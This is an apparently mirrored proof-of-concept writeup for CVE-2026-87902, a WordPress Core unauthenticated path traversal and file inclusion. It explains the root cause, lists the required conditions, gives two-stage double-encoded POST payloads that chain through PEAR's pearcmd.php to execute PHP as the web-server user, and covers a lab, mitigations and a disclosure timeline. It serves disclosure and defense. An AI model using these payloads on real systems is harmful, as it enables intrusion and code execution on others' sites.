Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus September 22, 2026

# CVE-2026-87902 — WordPress Core: unauthenticated path traversal in page-template resolution

Unauthenticated local PHP file inclusion in WordPress Core via a double-encoded

`pagename` value — and, under specific deployment conditions, PHP code execution

with the web-server account's privileges.

| **Vendor advisory** | [GHSA-7hp8-65ch-5whp]( |

| **Affected** | WordPress Core; dynamically reproduced on **7.0.2** |

| **Fixed** | WordPress **7.1.2**, with backports to older branches down to 4.7 (per the advisory) |

| **Weaknesses** | CWE-98 (improper control of filename in include), CWE-22 / CWE-23 (path traversal) |

| **CVSS v3.1** | `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` — **8.1 High** |

| **CVSS v4.0 (supplemental)** | `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` — **9.2 Critical** |

| **Authentication** | none — no account, cookie, nonce, session, plugin, or outbound request |

| **Author** | Robert Ressl — [ressl.ch]( |

| **PoC verified** | 2026-09-22 against the lab in this repository — see [Verified results](#verified-results) |

WordPress resolves a Page template through a chain that never proves the selected

1. `pagename` and `page_id` are public query variables that `WP::parse_request()`

2. A double-encoded traversal in `pagename` survives the early query

sanitization as escaped `%xx` octets (`wp_basename()` cannot see `%2f` as a

separator, and `sanitize_title_with_dashes()` deliberately keeps valid

3. A valid `page_id` then selects a real published Page, while the malicious

4. `get_page_template()` later calls `urldecode()` on that value and adds a

candidate such as `page-templates/../../../../../../../usr/local/lib/php/pearcmd.php`

5. `locate_template()` and the final template loader only check existence,

readability and the `.php`/`.html` suffix — never that the canonical path is

still inside an allowed theme root — and then `include` it.

That is an unauthenticated remote local-file-inclusion primitive in WordPress

Core. On the tested official runtime (`wordpress:php8.3-apache`, which bundles

PEAR and loads no `php.ini`, so `register_argc_argv` is `On`), the inclusion was

chained through PEAR's `pearcmd.php`: a first anonymous request makes

`config-create` write attacker-controlled PHP into `/tmp`, a second anonymous

request includes that file and executes it as `www-data`.

The missing path containment in Core is the vulnerability. PEAR is only one

environment-dependent route from inclusion to code execution — it is not a

WordPress dependency and is not present or usable in every deployment.

Verified source locations (WordPress 7.0.2):

| 1 | `wp-includes/class-wp.php:18,322-330` | `pagename` and `page_id` are public query vars and are read from `$_POST` |

| 2 | `wp-includes/class-wp-query.php:2205` | `sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) )` — `%2f` is not a separator to `wp_basename()` |

| 3 | `wp-includes/formatting.php:2283-2289` | `sanitize_title_with_dashes()` preserves valid `%xx` octets instead of removing them |

| 4 | `wp-includes/template.php:492` | `$pagename_decoded = urldecode( $pagename );` — the traversal becomes active *after* sanitization |

| 5 | `wp-includes/template.php:722-736` | `locate_template()` concatenates the candidate below each theme root and only calls `file_exists()` |

| 6 | `wp-includes/template-loader.php:116-132` | `realpath()` normalizes the path, then `include` runs with no canonical root-containment check |

| 7 | `wp-includes/canonical.php:42-47` | `redirect_canonical()` returns early for non-GET/HEAD, so a `POST` is not canonicalized away |

The standalone inclusion primitive needs:

| 1 | A published, anonymously reachable Page selected by numeric `page_id` | the page must be returned by the query after the pathname lookup fails |

| 2 | No earlier resolvable custom page template | a valid assigned template is ordered before the malicious candidate |

| 3 | A top-level directory in the active (child or parent) theme whose name starts with `page-`, e.g. `page-templates/` | WordPress prepends the fixed `page-` prefix, so a `..` traversal cannot start at position 0; the directory only has to exist and be traversable — it does **not** have to be writable |

| 4 | A selected local `.php` file that exists and is readable by the PHP user | the loader checks `is_file()`/`is_readable()` and requires a `.php` suffix |

| 5 | No filesystem confinement blocking that file | an `open_basedir` or MAC policy can prevent the include |

The demonstrated PEAR stage additionally needs a readable `pearcmd.php` (plus its

dependencies), `register_argc_argv=On` for the web SAPI, and a writable output

directory. Production `php.ini` files set `register_argc_argv=Off`; the tested

image loads no `php.ini`, so the compiled default (`On`) applied. This is an

important limit on the prevalence of the demonstrated code-execution chain.

The bundled Twenty Twenty-Three/Four/Five themes ship **no** top-level `page-*`

directory, so the stock lab needs the fixture described below. Custom themes can

legitimately use a `page-templates/` layout

([WordPress documentation](

./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready

python3 poc.py # two anonymous POSTs, prints the proof marker

`poc.py` needs Python 3.6+ (standard library only) and reaches the lab at

` by default. Expected output:

[*] target :

[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)

[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200

[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php

[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)

[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response

[+] proof : CVE-2026-87902-POC-OK

[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

Exit code is `0` on success and `1` otherwise, so the PoC also works as a

Run on 2026-09-22 against this lab (Docker 29.4, OrbStack, Apple silicon):

| Stage 1 | HTTP 200; `/tmp/wp-pear-rce-flag.php` written as `www-data:www-data`, mode `0644`, **1219 bytes** |

| Payload SHA-256 | `460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7` — identical to the hash recorded in the original report |

| Stage 2 | HTTP 200; the injected PHP printed the mode-0444 proof artifact |

| Marker occurrences | 12 (PEAR serializes the controlled root value into 12 config entries) |

| Credentials used | none — no `Cookie` or `Authorization` header in any request |

| Negative control | `page-templates/` removed → stage 2 returns the normal page, no marker, exit code 1 |

The proof artifact is `/flag`, root-owned and world-readable (`root:root`, mode

`0444`) inside the container. It proves PHP execution and file access **as the

web-server account**; it is not a privilege-escalation target.

Two anonymous `POST`s. WordPress routing values travel in the form body, the

PEAR arguments in the raw query string (PHP splits the raw query string on

literal `+` into `argv` and does not URL-decode the individual arguments):

argv[2] = "/" # absolute PEAR root path

argv[3] = "/tmp/wp-pear-rce-flag.php" # output file

Stage 1 — include `pearcmd.php` and write the payload:

' \

--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Stage 2 — include the generated file and run its PHP:

--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

* **Two encoding layers.** The body is decoded once by PHP into

`templates%2f%2e%2e%2f...`; the sanitizer keeps those octets, and only

`get_page_template()`'s late `urldecode()` turns them into `/` and `..`.

* **`page-` prefix.** WordPress prepends `page-` to the value, so the fixture

directory `page-templates/` corresponds to the leading `templates` segment.

* **Forced `.php` suffix.** The candidate is `page-.php`, which is why

the target is given without a suffix (`.../pearcmd`, `/tmp/wp-pear-rce-flag`).

* **`POST`, not `GET`.** `redirect_canonical()` skips non-GET/HEAD requests, and

the form body lets the query string carry only the PEAR arguments.

* **Quote-free payload.** `wp_magic_quotes()` also runs over `$_SERVER`, so the

server-built `argv` is escaped and PEAR later normalizes the backslashes. The

verified payload uses `chr()` and contains no quote characters. (It reduces

* **`config-create` root path.** PEAR rejects a relative root

(`Root directory must be an absolute path beginning with "/"`), so the payload

* **Depth.** `poc.py` walks `..` segments until the traversal reaches the target

(`7` for the layout of this lab, `--depth` to pin it).

`lab/up.sh` performs three steps and is safe to re-run:

1. `docker compose up -d --build --wait` — pinned `wordpress:7.0.2-php8.3-apache`

plus `mysql:8.4`, port `127.0.0.1:8091` (loopback only).

2. Runs the WordPress installer (`admin` / `adminadmin`) if the site is not

3. Creates the fixture inside the active theme and prints it:

`wp-content/themes/twentytwentyfive/page-templates/`, `root:root`, mode

The lab image adds `register_argc_argv=On` explicitly (`lab/Dockerfile`) instead

of relying on the compiled default, and bakes in `/flag`

(`root:root`, mode `0444`, content `CVE-2026-87902-POC-OK`).

| WordPress | 7.0.2 (`wordpress:7.0.2-php8.3-apache`) |

| PEAR | 1.10.18 at `/usr/local/lib/php/pearcmd.php` |

| Theme | Twenty Twenty-Five + empty root-owned `page-templates/` fixture |

| Target Page | published Sample Page, ID 2, default template |

| Proof artifact | `/flag`, `root:root`, mode `0444` |

> The rolling `wordpress:php8.3-apache` tag is **not** usable for this lab: the

> bug is fixed in 7.1.2 and an unpinned tag silently turns the lab patched.

* No top-level `page-*` directory in the theme → the fixed prefix cannot be

removed and the traversal never starts (verified: fixture removed → no marker).

* `register_argc_argv=Off` → no PEAR writer, but the inclusion primitive remains.

* PEAR or its dependencies absent → no writer.

* Wrong number of `..` segments → target not reached (verified: depths 1-6 and

* A custom page template assigned to the Page → ordered before the malicious

* An unsuffixed file (e.g. `/flag`) cannot be read directly — the candidate gets

* A WAF/CDN/reverse proxy that rejects raw ``, `=` bytes in the request

target breaks the PEAR argument channel (deployment-specific).

* `open_basedir`/MAC confinement or a non-writable output directory breaks the

chain; `noexec` on `/tmp` does not (PHP reads and interprets the file).

This PoC reproduces one verified configuration. It does not claim that every

WordPress installation is exploitable, and it does not measure prevalence.

* **Upgrade** to WordPress 7.1.2 or newer (or to the backport of your branch).

* **Defense in depth** for template handling: after decoding, reject traversal

and absolute candidates (e.g. `validate_file()`), and before including a

located template, compare `realpath()` of candidate and theme root with a

* **Operator mitigations:** set `register_argc_argv=Off` for web SAPIs, remove

unused web-readable PEAR entry points from production images, audit child and

parent themes for top-level `page-*` directories, and restrict write access

| `poc.py` | exploit: page detection, both stages, depth handling, marker verification |

| `lab/up.sh` | brings the lab into the exact state the exploit expects (idempotent) |

| `docker-compose.yml` | WordPress 7.0.2 + MySQL 8.4, loopback-only port |

| `lab/Dockerfile` | pins the vulnerable release, sets `register_argc_argv=On`, bakes `/flag` |

| `lab/flag` | content of the proof artifact |

| 2026-07-20 | Reported privately through the WordPress HackerOne program |

| 2026-09-15 | Informed that a fix was planned for an upcoming release; attribution details requested |

| 2026-09-22 | WordPress 7.1.2 released with the fix; advisory GHSA-7hp8-65ch-5whp published |

The report was accepted as a valid security finding after its initial

classification was revised; the correspondence does not date that acceptance.

This repository is published for defensive and research purposes. Use it only

against systems you own or are explicitly authorized to test. The lab is bound

to `127.0.0.1` and must not be exposed to untrusted networks.

MIT — see [LICENSE](LICENSE). Citation metadata lives in

> Ressl, Robert (2026). *CVE-2026-87902 PoC: unauthenticated path traversal in

> WordPress page-template resolution* (v1.0.0).

The vulnerability report and this PoC were prepared with AI assistance for

organization and consistency review; the researcher is responsible for the

Extracted Entities

Attack Types (1)

CWE Weaknesses (1)

Domains (1)

Platforms (1)

Ransomware Groups (1)